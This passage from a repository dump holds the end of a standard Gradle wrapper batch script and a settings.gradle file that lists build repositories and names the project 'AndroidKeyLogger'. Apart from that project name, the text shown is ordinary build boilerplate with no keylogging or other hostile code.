22 | @rem ##########################################################################
23 |
24 | @rem Set local scope for the variables with windows NT shell
25 | if "%OS%"=="Windows_NT" setlocal
26 |
27 | set DIRNAME=%~dp0
28 | if "%DIRNAME%" == "" set DIRNAME=.
29 | set APP_BASE_NAME=%~n0
30 | set APP_HOME=%DIRNAME%
31 |
32 | @rem Resolve any "." and ".." in APP_HOME to make it shorter.
33 | for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
34 |
35 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
36 | set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
37 |
38 | @rem Find java.exe
39 | if defined JAVA_HOME goto findJavaFromJavaHome
40 |
41 | set JAVA_EXE=java.exe
42 | %JAVA_EXE% -version >NUL 2>&1
43 | if "%ERRORLEVEL%" == "0" goto execute
44 |
45 | echo.
46 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
47 | echo.
48 | echo Please set the JAVA_HOME variable in your environment to match the
49 | echo location of your Java installation.
50 |
51 | goto fail
52 |
53 | :findJavaFromJavaHome
54 | set JAVA_HOME=%JAVA_HOME:"=%
55 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe
56 |
57 | if exist "%JAVA_EXE%" goto execute
58 |
59 | echo.
60 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
61 | echo.
62 | echo Please set the JAVA_HOME variable in your environment to match the
63 | echo location of your Java installation.
64 |
65 | goto fail
66 |
67 | :execute
68 | @rem Setup the command line
69 |
70 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
71 |
72 |
73 | @rem Execute Gradle
74 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
75 |
76 | :end
77 | @rem End local scope for the variables with windows NT shell
78 | if "%ERRORLEVEL%"=="0" goto mainEnd
79 |
80 | :fail
81 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
82 | rem the _cmd.exe /c_ return code!
83 | if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
84 | exit /b 1
85 |
86 | :mainEnd
87 | if "%OS%"=="Windows_NT" endlocal
88 |
89 | :omega
90 |
--------------------------------------------------------------------------------
/settings.gradle:
--------------------------------------------------------------------------------
1 | pluginManagement {
2 | repositories {
3 | gradlePluginPortal()
4 | google()
5 | maven { url 'https://jitpack.io' }
6 | mavenCentral()
7 | }
8 | }
9 | dependencyResolutionManagement {
10 | repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)
11 | repositories {
12 | google()
13 | maven { url 'https://jitpack.io' }
14 | mavenCentral()
15 | }
16 | }
17 | rootProject.name = "AndroidKeyLogger"
18 | include ':app'
19 |
--------------------------------------------------------------------------------